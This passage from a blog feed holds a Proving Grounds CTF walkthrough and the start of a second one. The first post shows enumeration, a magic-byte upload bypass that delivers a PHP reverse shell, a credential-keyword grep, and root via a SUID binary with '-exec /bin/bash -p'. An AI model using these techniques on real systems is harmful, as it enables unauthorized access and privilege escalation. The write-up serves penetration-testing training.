22. It’s always a bit of a relief to see this output since we know that access will be though the Web server. In that sense the port determination is uncomplicated.</p><p>As we do, let’s start Gobuster against the web server first.</p><pre>sudo gobuster dir -w &#39;/home/kali/Desktop/wordlists/dirbuster/directory-list-2.3-medium.txt&#39; -u http://$IP:9000 -t 42 -b 400,401,403,404 --no-error</pre><p>I run it with 42 threads (-t 42) because it’s a good balance of speed and caution. If you go too fast, directories and files can be missed. Also, I’m not bug hunting, so I’m not going to dive deeply into fuzzing different 400 codes. They are just visual noise to me, so I eliminate them (-b 400,401,403,404). Lastly, I loathe seeing the ‘Time Exceeded’ errors so we eliminate them with — no-errors.</p><p>While this runs we looks at the other port (mostly for notes).</p><p>Port 22 — SSH, OpenSSH 8.4p1 Debian 5+deb11u2 (protocol 2.0)</p><p>SSH exploits are extremely rare and difficult to exploit if they exist (i.e. <a href="https://terrapin-attack.com/">Terrapin</a>). My process is to grab the type of accepted key in case it comes up later.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/114/0*vMUUVg1DnZlfVPS-.png" /></figure><p>Port 80 — Web Server, Apache 2.4.56 ((Debian))</p><p>Let’s browse there now.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/615/1*RtKW9y9wLVUd2qS2B5QpBA.png" /></figure><p>We are greeted with immediate upload functionality, gotta love that! The door is partially open already. I am not familiar with this tool, let’s see of we can find the source code on Github. The only time I’ve ever encountered the work ‘Mzee’ is on Words with Friends. It’s a tricky high-scoring word there.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/601/1*jZWVigucWAEGQIpnYOj3AA.png" /></figure><p>Google was also uncharacteristically silent on this, I gather this is custom code or it was buried with the dead bodies on page two of the Google search.</p><p>Before I start playing with uploads, I would like to know what other technology the Apache Web Server is using.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/485/1*LQfHhCuEcIMrfXHdT_MKXg.png" /><figcaption>No help here</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5ZkdfQd1kdKGwZM8RnuZCQ.png" /><figcaption>Also useless.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*r3KvI97VRHB9pfXqbjPDwQ.png" /></figure><p>Gobuster found some useful directories which we can look at in a minute but first I want to scan again with some file extensions to get a better grasp on the language used. Is this PHP? I add -x php,txt,html,pdf to search for likely file types.</p><pre>sudo gobuster dir -w &#39;/home/kali/Desktop/wordlists/dirbuster/directory-list-2.3-medium.txt&#39; -u http://$IP:80 -t 42 -b 400,401,403,404 --no-error -x php,txt,html,pdf</pre><p>Best practice is to also fire up Burp Suite in case we need to do some proxy manipulation of file extension or mime type. I’ll leave interception ‘off’ for now and set FoxyProxy to Burp. This will create a history for us if we need it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/604/1*GV5cVDJVRmPTqNMBLPOWdw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/156/1*F3XsGvEjAUeDDkhLElGH0g.png" /></figure><p>Gobuster has already answered my primary question, this application does indeed use PHP. Also it discovered an important endpoint ‘listing.php’. I’m glad we ran this, I would not have know it was there otherwise.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PbGEOImJMqKOZ1WpzEHppg.png" /><figcaption>I’m going to move on for now while this finishes in the background. It’s best practice to let it finish. You never know what may be lurking at the end of the list, it could be a zip.php endpoint.</figcaption></figure><p>We are going to investigate all of these end points now.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/999/1*PTnTsC6hZh__uiqah4GgQw.png" /></figure><p>Then the source:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/766/1*9cdpqicm5mwX9WD6ur5_9g.png" /></figure><p>They give us the entire script logic and the two PHP endpoints.</p><p>Let’s ask <a href="https://gemini.google.com/app/">Google Gemini</a> what this is doing exactly:</p><p>My Prompt —</p><blockquote>Speak with me as a cyber security professional. The template I am using for my website contains an upload script. What is it doing? Is it vulnerable and if so, how? Please explain every step in detail. Here is the script:</blockquote><pre>&lt;script&gt; <br>async function uploadFile() { <br>let formData = new FormData(); <br>formData.append(&quot;file&quot;, fileupload.files[0]); <br>await fetch(&#39;/upload.php&#39;, <br>  { method: &quot;POST&quot;, <br>  body: formData }); <br>alert(&#39;The file has been uploaded successfully.&#39;); <br>window.location = &quot;listing.php&quot;; } <br>&lt;/script&gt;</pre><p>Gemini’s Answer —</p><blockquote>Analyzing the website upload script:</blockquote><blockquote><strong>Function:</strong></blockquote><blockquote>This script defines an asynchronous function named uploadFile that handles file uploads to the server. Let&#39;s break down the steps:</blockquote><blockquote>let formData = new FormData();:</blockquote><blockquote>This line creates a new FormData object, which is specifically used to construct multipart/form-data requests suitable for file uploads.</blockquote><blockquote>formData.append(&quot;file&quot;, fileupload.files[0]);:</blockquote><blockquote>This line attaches the user-selected file to the FormData object.</blockquote><blockquote>&quot;file&quot;: This is the key used to identify the uploaded file on the server-side script.</blockquote><blockquote>fileupload.files[0]: This refers to the first file selected by the user in the &quot;fileupload&quot; element (likely an HTML file input element).</blockquote><blockquote>await fetch(&#39;/upload.php&#39;, { method: &quot;POST&quot;, body: formData });:</blockquote><blockquote>This line initiates a file upload request to the server using the fetch API.</blockquote><blockquote>/upload.php: This specifies the URL of the server-side script that handles the upload process.</blockquote><blockquote>method: &quot;POST&quot;: This indicates that the request is a POST request, commonly used for submitting form data like file uploads.</blockquote><blockquote>body: formData: This sets the body of the request to the previously created formData object, containing the file data.</blockquote><blockquote>await: This keyword signifies that the function pauses execution at this point until the fetch operation completes (the file upload is finished).</blockquote><blockquote>alert(&#39;The file has been uploaded successfully.&#39;);:</blockquote><blockquote>This line displays an alert message to the user indicating successful file upload (assuming the server-side script processes the upload successfully).</blockquote><blockquote>window.location = &quot;listing.php&quot;;:</blockquote><blockquote>This line redirects the user’s browser to the “listing.php” page after the upload is complete.</blockquote><blockquote>Vulnerabilities:</blockquote><blockquote><strong>1. Insecure file type handling:</strong></blockquote><blockquote>The script doesn’t perform any validation on the uploaded file type. This means a malicious user could potentially upload a script or executable file disguised as an image or document, posing a security risk.</blockquote><blockquote><strong>2. Lack of input validation:</strong></blockquote><blockquote>The script doesn’t validate the filename or any other user-provided data within the FormData object. This could allow attackers to inject malicious code or manipulate the server-side logic through techniques like directory traversal attacks.</blockquote><blockquote><strong>3. Missing access control:</strong></blockquote><blockquote>The script doesn’t implement any access control mechanisms to restrict who can upload files. This could allow unauthorized users to upload files to your website.</blockquote><blockquote><strong>4. Potential for server-side vulnerabilities:</strong></blockquote><blockquote>Even if the client-side script is secure, vulnerabilities in the server-side script that handles the uploaded file (/upload.php) could still be exploited.</blockquote><p>Thanks Gemini!</p><p>Note that this is useful for learning to understand the code we encounter but as of this writing, the use of AI is not permitted on the OSCP exam.</p><p>We will explore how to weaponize this knowledge in a minute but for now let’s complete our checklist by looking at every endpiont.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/569/1*f4IFc490V1buX361qEs4ng.png" /><figcaption>Source page is empty.</figcaption></figure><p>It’s worthwhile to run a Gobuster against this directory. I am going to also look for PHP and HTML files types since we have encountered those elsewhere in the application.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ESRSNh1qxZZkG5ZT1wm30Q.png" /><figcaption>Truly nothing to see here.</figcaption></figure><p>Moving on.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/610/1*SCvpfXMlKRzMlCzYSjVldg.png" /><figcaption>We see an error message when there is no file forwarded here from the script on /index.html</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tQ9BYjMpU81zcnUWkNFaiQ.png" /></figure><p>This is interesting. I wonder if all of these files can be directly accessed? If so, where are they? In the root directory or in /upload maybe? I did not search for file type EXE. We can make a note to try that in a second round of enumeration in the event that nothing else pans out. I check the source page here as a matter of completion but it is only HTML, not useful.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/647/1*ndeu7iKw0PFx4q8ZNf37Kw.png" /></figure><p>Well well well, what do we have here? A backup you say?</p><p>Okay good, let’s review our position. Our two most likely access potentialities are to exploit the upload logic with a PHP rev-shell and access it or find something valuable, like and SSH key, in the backup file which appears to be quite large. It makes the most sense to have all the information before we go exploiting, so I’m going to grab the ZIP file now.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JykG9NZ4bZzhU2kp2Sa4-A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/707/1*FajGx0ql4f9WsPhGDBOEJg.png" /></figure><p>It’s not even locked with a password and it turns out there were EXE files in the upload directory, so this is also a confirmation that uploaded file goes to the upload directory.</p><p>I know this seems obvious, but this type of step by step confirmation will serve you in the long run. In my opinion, this is what solid process looks like. The directory containing uploaded files will not always be so obviously named.</p><p>We can also guess by this that there may be a cron job running on the box that regularly creates a backup of /var/www/html/. We should look for that when we get access, if it’s being run as root, we could have our escalation path.</p><p>This is a good time to use my favorite grep command given to me by <a href="https://medium.com/@krishnatiwadi">Krishna Tiwadi</a>. It is good for download scenarios like this one where we have to sift through a lot of data.</p><pre>grep -rinE &#39;(password|username|user|pass|key|token|secret|admin|login|credentials)&#39; /path/to/downloaded/files</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XGL2PwAM0mljOzSchKgJgw.png" /><figcaption>Nothing of interest</figcaption></figure><p>Since we have this backup we can look at the exact logic of upload.php to see where it is vulnerable.</p><pre>┌──(kali㉿kali)-[~/…/TEMP-publish/var/www/html]<br>└─$ cat upload.php <br>&lt;?php<br><br>/* Get the name of the uploaded file */<br>$filename = $_FILES[&#39;file&#39;][&#39;name&#39;];<br><br>/* Choose where to save the uploaded file */<br>$tmp_location = &quot;upload/file.tmp&quot;;<br>$location = &quot;upload/&quot;.$filename;<br><br><br>/* Move the file temporary */<br>move_uploaded_file($_FILES[&#39;file&#39;][&#39;tmp_name&#39;], $tmp_location);<br><br><br><br>/* Check MagicBytes MZ PEFILE 4D5A*/<br>$F=fopen($tmp_location,&quot;r&quot;);<br>$magic=fread($F,2);<br>fclose($F);<br>$magicbytes = strtoupper(substr(bin2hex($magic),0,4)); <br>error_log(print_r(&quot;Magicbytes:&quot; . $magicbytes, TRUE));<br><br>/* if its not a PEFILE block it - str_contains onlz php 8*/<br>//if ( ! (str_contains($magicbytes, &#39;4D5A&#39;))) {<br>if ( strpos($magicbytes, &#39;4D5A&#39;) === false ) {<br>        echo &quot;Error no valid PEFILE\n&quot;;<br>        error_log(print_r(&quot;No valid PEFILE&quot;, TRUE));<br>        error_log(print_r(&quot;MagicBytes:&quot; . $magicbytes, TRUE));<br>        exit ();<br>}<br><br><br>rename($tmp_location, $location);<br><br><br><br>?&gt;</pre><p>We can again ask Gemini about this file. Here what she said:</p><blockquote>Analysis of upload.php</blockquote><blockquote>This script implements a basic check to block a specific type of file during the upload process. Here’s a breakdown:</blockquote><blockquote><strong>Functionality:</strong></blockquote><blockquote><strong>Retrieving file information:</strong></blockquote><blockquote>The script retrieves the uploaded file’s name ($filename) from the $_FILES superglobal variable.</blockquote><blockquote><strong>Temporary storage:</strong></blockquote><blockquote>It defines temporary ($tmp_location) and final ($location) storage locations for the uploaded file.</blockquote><blockquote><strong>Moving the uploaded file:</strong></blockquote><blockquote>The move_uploaded_file function is used to move the uploaded file from its temporary location to the designated temporary storage ($tmp_location).</blockquote><blockquote><strong>Checking magic bytes:</strong></blockquote><blockquote>The script opens the temporarily stored file ($tmp_location) and reads the first two bytes (fread(F, 2)) into a variable named $magic.</blockquote><blockquote>It then converts the raw bytes to a hexadecimal string using bin2hex($magic), extracts the first four characters (substr(..., 0, 4)), and converts them to uppercase (strtoupper(...)). This process essentially retrieves the &quot;magic bytes&quot; of the file, which are characteristic bytes that can identify the file type.</blockquote><blockquote>The script stores the extracted magic bytes in the $magicbytes variable.</blockquote><blockquote>It logs the magic bytes using error_log for potential debugging or monitoring purposes.</blockquote><blockquote><strong>Blocking specific file type:</strong></blockquote><blockquote>The script checks if the $magicbytes string <strong>does not contain</strong> the specific sequence &#39;4D5A&#39;. This sequence is the magic byte signature for <strong>Portable Executable (PE) files</strong>, commonly used for executable programs in Windows systems.</blockquote><blockquote>If the magic bytes don’t match the expected signature, the script displays an error message (“Error no valid PEFILE”), logs additional information for debugging, and terminates the script using exit().</blockquote><blockquote><strong>Renaming and final storage:</strong></blockquote><blockquote>If the magic bytes match the expected signature (indicating a non-PE file), the script renames the temporarily stored file ($tmp_location) to its final location ($location).</blockquote><p>Basically the upload script is using a Magic Bytes Whitelist that only allows the Portable Executable signature of <em>4D5A.</em>So, as long as our file contains the magic bytes <em>4D5A, </em>then the script should allow us to upload it.</p><p>Great! We know how to do that.</p><p>First in a file editor open up your favorite PHP rev-shell, either <a href="https://github.com/pentestmonkey/php-reverse-shell">Pentest Monkey</a> or the Ivan Sincek version we can find on <a href="https://www.revshells.com/">revshells.com</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rvXJEzh7MWjapx20dLh55g.png" /><figcaption>I use this one.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/607/1*94Eug8vAWTiAIf6Q4acdrw.png" /></figure><p>At the beginning of the file, add two uppercase A’s then save and close.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/966/1*MtwsuR0EiBBiQ8QYA-TjQA.png" /></figure><p>In hexadecimal this becomes 41. We can see this when we open the file again in a hex editor.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/599/1*zTb2NUvcQ_yDfj4uCCaGqQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/306/1*KRhl2iQ8ujSCjZkddZ2Kbg.png" /><figcaption>These are the first four bytes of the file</figcaption></figure><p>We wan to change this to match our whitelist.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/309/1*G3sSkJcIvJL6Zn9KPkbqiA.png" /></figure><p>If you look to the right in the hex editor, you can see that the ASCII value becomes ‘MZ’.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/337/1*l3jIDNEQHnGoA3hwQaGgAw.png" /><figcaption>Very clever.</figcaption></figure><p>Press CTRL+X to close and save the file.</p><p>Now we <em>should</em> be able to upload or file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*r6IBWTf3Qf_uqlTH06X_rg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/737/1*CVC2CNZAc4615jEY2XfoqA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/925/1*9Vj17gIKmWt_IHD8-6MWTA.png" /></figure><p>This looks good, now let’s set up our listener. If you also use <a href="https://github.com/brightio/penelope">Peneope</a>, give yourself a pat on the back.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Cw4chKQp0l2vs-C_PpkoUg.png" /></figure><p>Now we will try to navigate to the file and cross our fingers.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/463/1*zyf5ntCVk7RjkAY50iKGTg.png" /><figcaption>Your browsers should hang.</figcaption></figure><p>Check the listener.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1012/1*vc1F87REkVBEYRbdx1ocmQ.png" /></figure><p>It connected but we see that our shell type is BASIC, meaning Penelope did not automatically upgrade our shell for us and we will have to do it manually. This also means our arrow key functionality is not preserved and we cannot use the F12 menu key. This rarely happens.</p><p>Here we go:</p><pre>python3 -c &#39;import pty;pty.spawn(&quot;/bin/bash&quot;)&#39;<br><br>export TERM=xterm<br><br>(CTRL+Z to background)<br><br>stty raw -echo; fg<br>(Press enter)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/745/1*loOA3kbMniM1nTBUxbCxBw.png" /><figcaption>We did it! Fully upgraded.</figcaption></figure><p>We landed in the upload directory and since there are no surprises there, I’m going to go to /home.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/953/1*TVWEO-mN6zfkR5BWPcTkLQ.png" /></figure><p>Check for permissions. (There was a long pause here. The server failed to resolve it’s own hostname)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/877/1*0_wNYOcDPDHybjyN_-nTjQ.png" /><figcaption>We do not have it.</figcaption></figure><p>After this my attempt to bring enumeration scripts over to victim machine failed and I encountered unexplained persistent shell errors. I canceled out of it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/802/1*FQ4YdsNcnsu1-bxxdqnXnA.png" /><figcaption>I was trying to get the file from a python server I had on port 8000 but I was not able to type a Zero in the shell…</figcaption></figure><p>Forget it, we will do it again a little bit differently with a new listener. Sorry Penelope!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/648/1*vAXUZN4o7JMhO_Hm43hIyw.png" /><figcaption>Use rlwrap to preserver arrow key functionality upon connection.</figcaption></figure><p>All you have to do is refresh the (now errored out) rev-shell browser page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/725/1*yNNvpmIcsdrK9K6cS2K3KQ.png" /></figure><p>We will have to manually upgrade again.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/866/1*9XzUQyH6EZmYwYGA5jeexg.png" /></figure><p>Unfortunately this time we do not get tab auto-completion. We have not matched the window size but I am not using a text editor at the moment so I will let it slide. This is not a perfectly upgraded shell. The last step for me is always hit or miss and I have never quite figured out why. Do you know? Should I have started from a Bash and not a Zsh shell?</p><p>Moving on:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1004/1*PWGLFK6259E0GPEE8GTwLA.png" /><figcaption>Transfer and make your enumeration scripts executable.</figcaption></figure><p>Run them and I will post the sections I find interesting.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/781/1*THfQxixvANyCpJm5c1zM2Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VC_T-YwBfyPMi-7jQEZ5Bw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dCdLqA9PD7SQj1OOqEUBbg.png" /><figcaption>Is this an unmounted drive? /dev/sr0</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/716/1*o7ycbnmNMXd6nW4G45AdeQ.png" /><figcaption>I have had decent success with this exploit.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/748/1*EN0dcEFmX9u2SyNg-Z-BCQ.png" /><figcaption>The PHP session cleaners (e2scrub_all &amp; php) can sometime be exploited for escalation when they are cron jobs run by root.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kii94FEGMAbSrx167KtlqA.png" /><figcaption>To my point this runs every half an hour.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/563/1*yeoxf8X0tXJc9D8zMTMftA.png" /><figcaption>We are currently wwwdata, we may wish to move laterally and become avuser before attempting to go for root privileges.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/956/1*lKw4hVpBiSNjuD1zoTdr_w.png" /><figcaption>I am currently hoping to find a SSH key somewhere. This isn’t it, but it seems a likely path in this scenario.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Vr7MGmETyU8S5GTrYeL6cw.png" /><figcaption>I don’t know what this. It may be custom and the permissions are funky. I mean, shat kind of Binary ends in a capital letter? Maybe it’s a customization of the File command…</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8QA5M0Vqj_o8tcxZbmiZpg.png" /><figcaption>Is this always there? I’ll have to keep an eye out for it. Run by root.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KEC47yfNGwPJzqCBhdM-Kg.png" /><figcaption>We already have this.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*42QjMByNvz9F_lZCnl1Jjg.png" /><figcaption>I am still wondering I I can manipulate that PHP session cleaner.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/672/1*-sUjuhTrbb5V3CXqnzQmMA.png" /><figcaption>This is the second time this has stuck out. We will definitely investigate.</figcaption></figure><p>Now for the other enumeration script. Be sure to run it with the ‘-l1’ argument to go one level deeper.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hbbZ0INEki6A8gmulqVHFQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*P2teDGaEDJSSQcT0EXEYYg.png" /><figcaption>I’m thinking we can go either Here</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*49lhF2rEEZqIyK5ghUJLhQ.png" /><figcaption>or Here</figcaption></figure><p>Okay, let’s see what we can do with what we have learned.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/667/1*rzsfDjx5YM_bCWxGL8SeVg.png" /></figure><p>The permissions for this are super weird. Is this a misconfiguration? Who puts write but not read access and why?</p><p>Let’s look at the other item of interest, like custom binary /opt.fileS</p><p>Playing around with it gives us a clue as to its functionality. It appears to list all the directory and subdirectory contents including hidden files.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/506/1*4ekqBe93mtVlsva-JPDt2A.png" /></figure><p>Can we use it to read directories that are other wise unreadable?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/626/1*NSOAOmBdMcOy7HODc9RVMg.png" /></figure><p>Yes it can. Now for our unreadable directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/673/1*Xz7ejAOBz-s1SiV2fr8sbg.png" /></figure><p>That did not help. It is running as root, can I get it to run another command? Does it stay elevated?</p><p>What does this do exactly? I need help.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_mVP2fYyiIp8KrH75kGc5g.png" /></figure><p>Hey there we go!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/773/1*nEg4hfpMEIYyjsk5PXQAOA.png" /></figure><p>That did not work as I wished. I’m going to look at the help again.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/999/1*r_IlDYX3Zrl6Puy8ihBtrA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Wvrjr3uhZXW_KWeMctgUqA.png" /></figure><p>This seems to be implying it is a binary similar to find.</p><p><a href="https://gtfobins.github.io/gtfobins/find/#suid">GTFOBins</a> already has a solution to escalate via a find SUID binary.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TqNjJ2S_REAbuysLdcCEhw.png" /></figure><p>Might as well try it. Look there is that ‘exec’ argument! Should I have been using the absolute path before? (Always, it is always best practice to use absolute paths.)</p><p>So the command fitted to our purpose is:</p><pre>/opt/fileS . -exec /bin/bash -p \; -quit</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/338/1*b2q8Z0Gli7YZvXnHrUesLQ.png" /><figcaption>Ignore the weird echo.</figcaption></figure><p>We did it!</p><p>I am thankful for everyone that read my exploration of this challenge. I do this because I enjoy it, hopefully you do as well.</p><p>Thanks always to Offensive Security.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6b114263cd04" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Proving Grounds Practice — CTF-200–01]]></title>
            <link>https://medium.com/@Dpsypher/proving-grounds-practice-ctf-200-01-f3da31d98af5?source=rss-60268ef8e972------2</link>
            <guid isPermaLink="false">https://medium.com/p/f3da31d98af5</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[command-injection]]></category>
            <dc:creator><![CDATA[Dpsypher]]></dc:creator>
            <pubDate>Tue, 27 Feb 2024 15:15:55 GMT</pubDate>
            <atom:updated>2024-03-11T16:13:17.018Z</atom:updated>
            <content:encoded><![CDATA[<h3>Proving Grounds Practice — Ochima (CTF-200–01)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*J_HLVtZuaw6tRg2YtbK5-Q.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/715/1*RtntTMjoIYH8JO1gjGNfNQ.png" /></figure><p>This is an intermediate box on Offsec’s PG Practice and the community agrees that it is of intermediate difficulty. Up until now I have been creating my posts from previous notes, but I have gotten bored with that and am craving new action, so this is the second walkthrough that is fresh to me.</p><p>Start with a Nmap scan:</p><pre>sudo nmap -Pn -n $IP -sC -sV -p- --open</pre><p>I start nearly every box this way because it quickly returns a wealth of information. Sudo as it defaults to the faster half-open SYN scan, then -Pn to ignore ping and assume it is up, -n to ignore DNS, the IP address, -sC for default scripts, -sV for version information, -p- to scan all ports, and MOST importantly the — open argument to apply scripts and version scans to found open ports<em> only</em>.</p><pre>┌──(kali㉿kali)-[~/offsec-labs/TEMP-publish]<br>└─$ sudo nmap -Pn -n $IP -sC -sV -p- --open          <br>[sudo] password for kali: <br>Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-24 09:47 EST<br>Nmap scan report for 192.168.229.32<br>Host is up (0.084s latency).<br>Not shown: 65532 filtered tcp ports (no-response)<br>Some closed ports may be reported as filtered due to --defeat-rst-ratelimit<br>PORT     STATE SERVICE VERSION<br>22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>|   256 b9:bc:8f:01:3f:85:5d:f9:5c:d9:fb:b6:15:a0:1e:74 (ECDSA)<br>|_  256 53:d9:7f:3d:22:8a:fd:57:98:fe:6b:1a:4c:ac:79:67 (ED25519)<br>80/tcp   open  http    Apache httpd 2.4.52 ((Ubuntu))<br>|_http-title: Apache2 Ubuntu Default Page: It works<br>|_http-server-header: Apache/2.4.52 (Ubuntu)<br>8338/tcp open  unknown<br>| fingerprint-strings: <br>|   GetRequest: <br>|     HTTP/1.0 200 OK<br>|     Server: Maltrail/0.52<br>|     Date: Sat, 24 Feb 2024 14:49:24 GMT<br>|     Connection: close<br>|     Content-Type: text/html<br>|     Last-Modified: Sat, 31 Dec 2022 22:58:57 GMT<br>|     Content-Security-Policy: default-src &#39;self&#39;; style-src &#39;self&#39; &#39;unsafe-inline&#39;; img-src * blob:; script-src &#39;self&#39; &#39;unsafe-eval&#39; https://stat.ripe.net; frame-src *; object-src &#39;none&#39;; block-all-mixed-content;<br>|     Cache-Control: no-cache<br>|     Content-Length: 7091<br>|     &lt;!DOCTYPE html&gt;<br>|     &lt;html lang=&quot;en&quot;&gt;<br>|     &lt;head&gt;<br>|     &lt;meta http-equiv=&quot;X-UA-Compatible&quot; content=&quot;IE=edge&quot;&gt;<br>|     &lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html;charset=utf8&quot;&gt;<br>|     &lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, user-scalable=no&quot;&gt;<br>|     &lt;meta name=&quot;robots&quot; content=&quot;noindex, nofollow&quot;&gt;<br>|     &lt;title&gt;Maltrail&lt;/title&gt;<br>|     &lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;css/thirdparty.min.css&quot;&gt;<br>|     &lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; hre<br>|   HTTPOptions: <br>|     HTTP/1.0 501 Unsupported method (&#39;OPTIONS&#39;)<br>|     Server: Maltrail/0.52<br>|     Date: Sat, 24 Feb 2024 14:49:24 GMT<br>|     Connection: close<br>|     Content-Type: text/html;charset=utf-8<br>|     Content-Length: 500<br>|     &lt;!DOCTYPE HTML PUBLIC &quot;-//W3C//DTD HTML 4.01//EN&quot;<br>|     &quot;http://www.w3.org/TR/html4/strict.dtd&quot;&gt;<br>|     &lt;html&gt;<br>|     &lt;head&gt;<br>|     &lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html;charset=utf-8&quot;&gt;<br>|     &lt;title&gt;Error response&lt;/title&gt;<br>|     &lt;/head&gt;<br>|     &lt;body&gt;<br>|     &lt;h1&gt;Error response&lt;/h1&gt;<br>|     &lt;p&gt;Error code: 501&lt;/p&gt;<br>|     &lt;p&gt;Message: Unsupported method (&#39;OPTIONS&#39;).&lt;/p&gt;<br>|     &lt;p&gt;Error code explanation: HTTPStatus.NOT_IMPLEMENTED - Server does not support this operation.&lt;/p&gt;<br>|     &lt;/body&gt;<br>|_    &lt;/html&gt;<br>1 service unrecognized despite returning data.<br><br>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel</pre><p>When the TCP scan finishes, immediately run a UDP scan.</p><pre>sudo nmap -Pn -n $IP -sU --top-ports=100 --reason</pre><p>Even if it comes up empty, scanning the UDP ports as well is best practice. When it hits, it’s usually a big deal, maybe Simple Network Management Protocol (SNMP) is available. Let this run while we review the TCP scan, we’ll come back to it <em>if it becomes important</em>. Note that I am only interested in the top 100 ports. UDP scans take a long time if we are not precise. Lastly we add — reason to understand why ports are returned as open, open|filtered, or closed.</p><p>What do we see with our initial TCP Nmap scan?</p><p>Three open ports, SSH and at least one but likely two web servers. Cool, cool, let’s get Gobuster running against port 80.</p><pre>sudo gobuster dir -w &#39;/home/kali/Desktop/wordlists/dirbuster/directory-list-2.3-medium.txt&#39; -u http://$IP:9000 -t 42 -b 400,401,403,404 --no-error</pre><p>I run it with 42 threads (-t 42) because it’s a good balance of speed and caution. If you go too fast, directories and files can be missed. Also, I’m not bug hunting, so I’m not going to dive deeply into fuzzing different 400 codes. They are just visual noise to me, so I eliminate them (-b 400,401,403,404). Lastly, I loathe seeing the ‘Time Exceeded’ errors so we eliminate them with — no-errors.</p><p>While that runs we can note the key types accepted by the SSH server on port 22 in case we end up discovering and Local File 